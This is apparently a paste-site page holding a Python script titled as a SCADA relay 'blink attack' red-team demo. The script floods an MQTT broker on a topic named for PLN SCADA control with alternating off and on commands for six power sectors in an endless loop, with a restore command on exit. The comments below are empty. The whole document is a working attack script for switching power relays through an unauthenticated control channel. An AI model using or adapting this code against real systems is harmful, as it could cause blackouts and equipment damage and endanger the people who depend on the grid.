cyberking icon

blink_attack.py

cyberking | PRO | 06/22/26 07:23:31 AM UTC | 1 ⭐ | 11672 👁️ | Never ⏰ | []
Python |

2.98 KB

|

None

|

1 👍

/

0 👎

#!/usr/bin/env python3
 
import time
import sys
import paho.mqtt.publish as publish
 
BROKER   = '192.168.1.61'
PORT     = 1883
TOPIC    = 'pln/scada/kontrol'
INTERVAL = 0.8   # detik antar perintah (turunkan untuk lebih cepat)
 
RELAY_COMMANDS = [
    ('mati_sector_a1',  'nyala_sector_a1'),
    ('mati_sector_a2',  'nyala_sector_a2'),
    ('mati_sector_b1',  'nyala_sector_b1'),
    ('mati_sector_b2',  'nyala_sector_b2'),
    ('mati_sector_c1',  'nyala_sector_c1'),
    ('mati_sector_c2',  'nyala_sector_c2'),
]
 
RED    = '\033[91m'
GREEN  = '\033[92m'
YELLOW = '\033[93m'
CYAN   = '\033[96m'
BOLD   = '\033[1m'
RESET  = '\033[0m'
 
def send(cmd: str) -> None:
    publish.single(TOPIC, payload=cmd, hostname=BROKER, port=PORT, qos=1)
 
def banner() -> None:
    print(f"""
{RED}{BOLD}╔══════════════════════════════════════════════════╗
║      SCADA RELAY BLINK ATTACK — RED TEAM DEMO    ║
║  Broker : {BROKER}:{PORT:<24}  ║
║  Topic  : {TOPIC:<38}  ║
╚══════════════════════════════════════════════════╝{RESET}
{YELLOW}Tekan Ctrl+C untuk berhenti dan pulihkan semua relay.{RESET}
""")
 
def blink_loop() -> None:
    cycle = 0
    phase = False  # False = mati, True = nyala
 
    while True:
        cycle += 1
        label = f"{GREEN}NYALA{RESET}" if phase else f"{RED}MATI {RESET}"
        print(f"{CYAN}[Siklus {cycle:04d}]{RESET} Mengirim {BOLD}{label}{RESET} ke semua relay...", end='  ', flush=True)
 
        # Kirim ke semua sub-blok satu per satu dengan jeda kecil
        sent = 0
        for mati_cmd, nyala_cmd in RELAY_COMMANDS:
            cmd = nyala_cmd if phase else mati_cmd
            try:
                send(cmd)
                sent += 1
            except Exception as e:
                print(f"\n{RED}[ERR] {cmd}: {e}{RESET}")
 
        print(f"✓ {sent}/{len(RELAY_COMMANDS)} relay", flush=True)
        phase = not phase
        time.sleep(INTERVAL)
 
def restore_all() -> None:
    print(f"\n{YELLOW}[*] Memulihkan semua relay (pemulihan_total)...{RESET}")
    try:
        send('pemulihan_total')
        print(f"{GREEN}[✓] Semua relay kembali NYALA.{RESET}")
    except Exception as e:
        print(f"{RED}[ERR] Gagal memulihkan: {e}{RESET}")
 
if __name__ == '__main__':
    banner()
 
    # Test koneksi awal
    print(f"[*] Menghubungkan ke broker {BROKER}:{PORT}...")
    try:
        send('pemulihan_total')
        print(f"{GREEN}[✓] Koneksi berhasil. Memulai serangan blink...{RESET}\n")
    except Exception as e:
        print(f"{RED}[✗] Gagal terhubung ke broker: {e}{RESET}")
        print(f"    Pastikan broker MQTT aktif di {BROKER}:{PORT}")
        sys.exit(1)
 
    try:
        blink_loop()
    except KeyboardInterrupt:
        restore_all()
        print(f"\n{CYAN}[*] Selesai.{RESET}\n")
 

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎